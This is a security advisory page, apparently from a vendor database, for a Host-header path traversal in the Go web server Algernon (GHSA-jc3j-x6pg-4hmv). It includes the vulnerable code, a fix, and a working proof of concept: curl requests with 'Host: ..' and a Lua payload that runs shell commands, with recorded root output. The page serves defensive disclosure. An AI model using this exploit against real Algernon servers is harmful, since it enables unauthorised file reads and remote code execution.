Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

Algernon: Host header path traversal in --domain mode reads files and runs Lua from parent dirGHSA-jc3j-x6pg-4hmv

HIGH

GHSA-jc3j-x6pg-4hmv is a high-severity (CVSS 8.2) Path Traversal vulnerability in github.com/xyproto/algernon. A fix is available for github.com/xyproto/algernon — see the affected versions and patch details below.

Also known asCVE-2026-48126GO-2026-5460
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 14, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-jc3j-x6pg-4hmv.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs41th percentile — riskier than 41% of all scored CVEsHighest risk
0.00%0.33%0.67%1.00%0.1%0.5%Jun 26Sep 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

GHSA-jc3j-x6pg-4hmv by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 388,997 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐹github.com/xyproto/algernon

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

When algernon is started with --domain (or --letsencrypt, which silently turns on --domain at engine/flags.go:372), the request handler resolves the served directory by joining the configured --dir with the value of the client-supplied Host header. The join is performed by filepath.Join with no validation, so a Host: .. header walks one level above the document root. Subsequent file resolution then exposes everything in that parent directory — arbitrary file read, full directory listing, and, if any .lua file is present, server-side Lua execution. Algernon 1.17.7 and earlier are affected.

Details

engine/handlers.go (function RegisterHandlers, around line 510):

allRequests := func(w http.ResponseWriter, req *http.Request) {
    ...
    servedir := servedir
    if addDomain {
        servedir = filepath.Join(servedir, utils.GetDomain(req))   // <— line 531
    }
    ...
    filename := utils.URL2filename(servedir, urlpath)

utils/web.go (GetDomain):

func GetDomain(req *http.Request) string {
    host, _, err := net.SplitHostPort(req.Host)
    if err != nil {
        return req.Host          // <— Host header returned verbatim
    }
    return host
}

utils/files.go (URL2filename) only sanitises the URL path — it never inspects dirname:

func URL2filename(dirname, urlpath string) string {
    if strings.Contains(urlpath, "..") {
        return dirname + Pathsep         // dirname is trusted here
    }
    ...
}

engine/flags.go (auto-enable in CertMagic / Let's Encrypt mode):

if ac.useCertMagic {
    ...
    ac.serverAddDomain = true   // <— line 372
}

Putting it together:

  1. The client sends Host: ... Go's HTTP server accepts the value because . is in the URI host whitelist and there are no other characters to validate; req.Host is ...
  2. GetDomain returns .. (no port, net.SplitHostPort fails — fallback path).
  3. filepath.Join("/srv/algernon", "..") cleans to /srv.
  4. URL2filename("/srv", "/SECRET.txt") returns /srv/SECRET.txt, which the handler opens with FilePage.
  5. For directory targets, DirPage lists the parent — sending / after Host: .. produces an HTML index of the parent of the docroot.
  6. If a file with a recognised algernon extension (.lua, .tl, .po2, .amber, .frm, .md, ...) is in the parent, the matching renderer runs server-side. .lua triggers full Lua execution, including run3(...) which calls exec.Command("sh", "-c", command) (see lua/run3/run3.go:23).

Multi-level traversal is blocked at the protocol layer because the Go HTTP parser rejects / in the Host: value, but a single .. is enough to step outside the operator's intended docroot — and many operators put scripts, configs, certificates, log files, or sibling sites in parent(serverDir). --letsencrypt is the supported way to run algernon as a multi-domain HTTPS server, and it implicitly turns this on without the operator noticing.

This bug is distinct from the previously-fixed handler.lua parent-walk (GHSA-xwcr-wm99-g9jc) — that one used the handler.lua discovery loop and walked above rootdir; this one stays inside the normal FilePage path and rewrites rootdir itself through filepath.Join(servedir, req.Host). It is also distinct from the upload savein() issue (GHSA-2j2c-pv62-mmcp).

PoC

Build the affected version:

git clone https://github.com/xyproto/algernon
cd algernon
go build -o /tmp/algernon .

Reproduce manually:

WORK=$(mktemp -d)
mkdir -p $WORK/site
echo '<h1>public</h1>' > $WORK/site/index.html
echo 'TOP-SECRET FROM PARENT DIR' > $WORK/SECRET.txt
cat > $WORK/pwn.lua <<'LUA'
print("=== RCE ===")
local out, err, code = run3("id; uname -a")
for _,v in ipairs(out) do print("  "..v) end
LUA

/tmp/algernon --httponly --dir $WORK/site --addr :7799 --server -n --domain --nolimit &
sleep 1

# 1. Arbitrary file read
curl -H 'Host: ..' http://127.0.0.1:7799/SECRET.txt
# -> TOP-SECRET FROM PARENT DIR

# 2. Parent directory listing
curl -H 'Host: ..' http://127.0.0.1:7799/ | grep -oP 'href="[^"]+"' | head
# -> href="/SECRET.txt", href="/pwn.lua", href="/site/", ...

# 3. Server-side Lua execution (RCE)
curl -H 'Host: ..' http://127.0.0.1:7799/pwn.lua
# -> === RCE ===
#      uid=0(root) gid=0(root) groups=0(root)
#      Linux ...

Recorded output from a real run:

[2] arbitrary file read via Host: ..
    TOP-SECRET FROM PARENT DIR

[3] directory listing of parent via Host: ..
    bytes=1278, links=1
    sample:
      href="/alg.log"
      href="/site/"
      href="/SECRET.txt"

[4] Lua RCE via Host: .. when .lua exists in parent
    === RCE ===
      uid=0(root) gid=0(root) groups=0(root)
      Linux fg0x0 6.6.87.2-microsoft-standard-WSL2 ... x86_64 GNU/Linux
    EXIT=0

Steps 2 and 3 reproduce with default flags (--domain alone, or --letsencrypt in production). Step 4 additionally requires a .lua file in the parent — common when an operator keeps shared scripts alongside the served directory, or when this bug is chained with any prior write primitive.

Impact

  • An unauthenticated remote attacker who can send a single HTTP request with a Host: .. header can read arbitrary files in parent(--dir) and enumerate that directory.
  • When --letsencrypt is used (the recommended way to obtain HTTPS), --domain is enabled silently, so any production multi-tenant deployment is exposed without the operator opting in.
  • The chained Lua-RCE path executes shell commands as the algernon process user. In the canonical --prod invocation documented in engine/config.go:208 (serverDirOrFilename = "/srv/algernon"), the parent is /srv; in multi-domain setups the parent often holds sibling site directories and shared .lua libraries.

Suggested fix

Reject Host header values that contain .., /, \, or that resolve outside the configured serverDirOrFilename. The simplest patch:

// engine/handlers.go, where addDomain is consumed
if addDomain {
    domain := utils.GetDomain(req)
    if domain == "" || strings.ContainsAny(domain, "/\\") || strings.Contains(domain, "..") {
        w.WriteHeader(http.StatusBadRequest)
        return
    }
    servedir = filepath.Join(servedir, domain)
}

A stronger fix when CertMagic is active is to constrain the lookup to the certMagicDomains allow-list that flags.go already builds.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/xyproto/algernonall versions1.17.8go get github.com/xyproto/algernon@v1.17.8

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/xyproto/algernon, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/xyproto/algernon to 1.17.8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-jc3j-x6pg-4hmv is resolved across your whole dependency graph.

  3. Workarounds

    Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.

Frequently Asked Questions

### Summary When algernon is started with `--domain` (or `--letsencrypt`, which silently turns on `--domain` at `engine/flags.go:372`), the request handler resolves the served directory by joining the configured `--dir` with the value of the client-supplied `Host` header. The join is performed by `filepath.Join` with no validation, so a `Host: ..` header walks one level above the document root. Subsequent file resolution then exposes everything in that parent directory — arbitrary file read, full directory listing, and, if any `.lua` file is present, server-side Lua execution. Algernon 1.17.7
O3 Security · Impact-Aware SCA

Is GHSA-jc3j-x6pg-4hmv in your dependencies?

Find it across Go, including transitive dependencies.

Algernon: Host header path traversal in --domain mode…